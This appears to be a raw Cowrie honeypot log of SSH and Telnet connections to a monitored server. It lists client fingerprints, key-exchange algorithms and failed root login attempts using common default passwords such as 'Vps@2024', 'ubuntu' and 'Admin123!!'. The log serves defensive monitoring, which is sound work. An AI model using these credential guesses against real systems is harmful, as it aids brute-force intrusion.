{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:02.450481Z","src_ip":"87.251.64.176","session":"737327db1521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:02.555717Z","src_ip":"87.251.64.176","session":"737327db1521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57294,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b12aa06a14e","protocol":"telnet","message":"New connection: 135.148.14.151:57294 (159.203.135.109:23) [session: 9b12aa06a14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:10.780098Z"}
{"eventid":"cowrie.session.closed","duration":32.467544078826904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:11.369990Z","src_ip":"135.148.14.151","session":"4aac34fe54b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":37012,"dst_ip":"159.203.135.109","dst_port":22,"session":"d67f135749e9","protocol":"ssh","message":"New connection: 45.147.249.81:37012 (159.203.135.109:22) [session: d67f135749e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:13.702127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:13.707334Z","src_ip":"45.147.249.81","session":"d67f135749e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:13.781855Z","src_ip":"45.147.249.81","session":"d67f135749e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vps@2024","message":"login attempt [root/Vps@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:14.105549Z","src_ip":"45.147.249.81","session":"d67f135749e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:15.182176Z","src_ip":"45.147.249.81","session":"d67f135749e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34420,"dst_ip":"159.203.135.109","dst_port":23,"session":"881a8124ef99","protocol":"telnet","message":"New connection: 135.148.14.151:34420 (159.203.135.109:23) [session: 881a8124ef99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:25.184448Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35068,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ea41ea8f01","protocol":"telnet","message":"New connection: 135.148.14.151:35068 (159.203.135.109:23) [session: 16ea41ea8f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:28.733524Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":36202,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5693fb2997b","protocol":"ssh","message":"New connection: 147.45.199.80:36202 (159.203.135.109:22) [session: d5693fb2997b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:30.714857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:30.726184Z","src_ip":"147.45.199.80","session":"d5693fb2997b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:30.824703Z","src_ip":"147.45.199.80","session":"d5693fb2997b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amazing","message":"login attempt [root/amazing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:31.115219Z","src_ip":"147.45.199.80","session":"d5693fb2997b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:32.214619Z","src_ip":"147.45.199.80","session":"d5693fb2997b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":57912,"dst_ip":"10.17.0.5","dst_port":22,"session":"df627f539a08","protocol":"ssh","message":"New connection: 120.48.55.108:57912 (10.17.0.5:22) [session: df627f539a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:42.617842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:42.622890Z","src_ip":"120.48.55.108","session":"df627f539a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:43.527933Z","src_ip":"120.48.55.108","session":"df627f539a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.88388156890869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:44.663856Z","src_ip":"135.148.14.151","session":"9b12aa06a14e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46110,"dst_ip":"159.203.135.109","dst_port":23,"session":"23867544a79b","protocol":"telnet","message":"New connection: 135.148.14.151:46110 (159.203.135.109:23) [session: 23867544a79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:50.005323Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:50.735563Z","src_ip":"120.48.55.108","session":"df627f539a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:52.205968Z","src_ip":"120.48.55.108","session":"df627f539a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":39676,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38ce5b0340c","protocol":"ssh","message":"New connection: 120.48.55.108:39676 (10.17.0.5:22) [session: f38ce5b0340c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:52.433450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:52.438725Z","src_ip":"120.48.55.108","session":"f38ce5b0340c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:52.663690Z","src_ip":"120.48.55.108","session":"f38ce5b0340c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:54.200882Z","src_ip":"120.48.55.108","session":"f38ce5b0340c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:55.627700Z","src_ip":"120.48.55.108","session":"f38ce5b0340c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":43148,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2313ab7dbdc","protocol":"ssh","message":"New connection: 120.48.55.108:43148 (10.17.0.5:22) [session: f2313ab7dbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:55.894460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:55.915905Z","src_ip":"120.48.55.108","session":"f2313ab7dbdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:56.321253Z","src_ip":"120.48.55.108","session":"f2313ab7dbdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:57.546085Z","src_ip":"120.48.55.108","session":"f2313ab7dbdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:40:59.072206Z","src_ip":"120.48.55.108","session":"f2313ab7dbdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":45826,"dst_ip":"10.17.0.5","dst_port":22,"session":"602e45f54154","protocol":"ssh","message":"New connection: 120.48.55.108:45826 (10.17.0.5:22) [session: 602e45f54154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:00.365252Z"}
{"eventid":"cowrie.session.closed","duration":37.051379919052124,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:02.235726Z","src_ip":"135.148.14.151","session":"881a8124ef99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.580361127853394,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:03.313752Z","src_ip":"135.148.14.151","session":"16ea41ea8f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53874,"dst_ip":"159.203.135.109","dst_port":23,"session":"88eaafec9233","protocol":"telnet","message":"New connection: 135.148.14.151:53874 (159.203.135.109:23) [session: 88eaafec9233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:06.816661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:11.003776Z","src_ip":"120.48.55.108","session":"602e45f54154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:11.007733Z","src_ip":"120.48.55.108","session":"602e45f54154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"efb1326aaef3","protocol":"telnet","message":"New connection: 135.148.14.151:56904 (159.203.135.109:23) [session: efb1326aaef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:13.530136Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.80.232.39","src_port":36502,"dst_ip":"10.17.0.5","dst_port":22,"session":"d56b3dc0ad43","protocol":"ssh","message":"New connection: 117.80.232.39:36502 (10.17.0.5:22) [session: d56b3dc0ad43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:14.066853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:14.074590Z","src_ip":"117.80.232.39","session":"d56b3dc0ad43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:14.319853Z","src_ip":"117.80.232.39","session":"d56b3dc0ad43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!!","message":"login attempt [root/Admin123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:15.335511Z","src_ip":"117.80.232.39","session":"d56b3dc0ad43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:16.577353Z","src_ip":"117.80.232.39","session":"d56b3dc0ad43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59308,"dst_ip":"159.203.135.109","dst_port":23,"session":"387294bd9324","protocol":"telnet","message":"New connection: 135.148.14.151:59308 (159.203.135.109:23) [session: 387294bd9324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:18.436523Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60768,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7f408d07466","protocol":"telnet","message":"New connection: 135.148.14.151:60768 (159.203.135.109:23) [session: e7f408d07466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:25.483402Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34038,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a437b7258d","protocol":"telnet","message":"New connection: 135.148.14.151:34038 (159.203.135.109:23) [session: d2a437b7258d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:25.489339Z"}
{"eventid":"cowrie.session.closed","duration":35.5087251663208,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:25.513930Z","src_ip":"135.148.14.151","session":"23867544a79b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":50134,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6454310bdd","protocol":"ssh","message":"New connection: 45.147.249.81:50134 (159.203.135.109:22) [session: ac6454310bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:26.880407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:26.885600Z","src_ip":"45.147.249.81","session":"ac6454310bdd","protocol":"ssh"}
